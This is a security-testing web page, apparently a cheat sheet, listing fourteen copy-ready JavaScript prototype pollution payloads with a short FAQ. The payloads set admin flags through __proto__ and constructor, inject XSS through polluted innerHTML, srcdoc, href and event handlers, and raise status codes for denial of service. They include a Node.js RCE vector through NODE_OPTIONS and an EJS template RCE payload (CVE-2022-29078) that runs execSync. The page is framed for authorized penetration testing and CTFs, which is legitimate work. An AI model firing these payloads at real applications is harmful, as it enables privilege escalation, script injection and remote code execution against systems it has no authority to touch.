Skip to content
Payload Playground

Prototype Pollution Cheat Sheet

JavaScript prototype pollution payloads for __proto__, constructor, and deep merge exploitation. (14 payloads)

Build custom Proto Pollution payloads in the XSS Payload generator

Basic Pollution Vectors

(5)
{"__proto__": {"isAdmin": true}}
Classic __proto__ pollution
{"constructor": {"prototype": {"isAdmin": true}}}
Constructor.prototype pollution
?__proto__[isAdmin]=true
Query string pollution
?__proto__.isAdmin=true
Dot notation query pollution
{"__proto__": {"toString": "polluted"}}
Override built-in method

Client-Side Exploitation

(5)
{"__proto__": {"innerHTML": "<img src=x onerror=alert(1)>"}}
XSS via innerHTML pollution
{"__proto__": {"srcdoc": "<script>alert(1)</script>"}}
XSS via srcdoc pollution
{"__proto__": {"href": "javascript:alert(1)"}}
XSS via href pollution
{"__proto__": {"onload": "alert(1)"}}
XSS via event handler pollution
{"__proto__": {"value": "<script>alert(1)</script>"}}
XSS via value pollution (if rendered)

Server-Side Exploitation

(4)
{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/cmdline"}}
Node.js RCE via env pollution
{"__proto__": {"status": 500}}
DoS via status code pollution
{"__proto__": {"admin": true, "role": "superadmin"}}
Privilege escalation via role pollution
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x"}}
EJS template RCE (CVE-2022-29078)
ShareXLinkedInReddit

Level up your security testing

References

Related Generators

Related Cheat Sheets

Further reading

Frequently asked questions

What is the Prototype Pollution Cheat Sheet?+

It's a quick-reference collection of 14 Proto Pollution payloads for testing Prototype Pollution vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.

How do I use these Proto Pollution payloads?+

Copy any payload straight into your authorized test, or open the XSS Payload generator to build customized Proto Pollution variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.

Are these Proto Pollution payloads free to use?+

Yes — this cheat sheet and all Proto Pollution payloads are completely free, with no account required. Everything runs in your browser.

Send feedback

Report an issue or suggest an improvement.

0/2000

Your report includes this page (/cheatsheets/prototype-pollution) and your browser. If you’re signed in, we include your account ID and plan so support can prioritize Pro requests. Please leave out secrets and client data.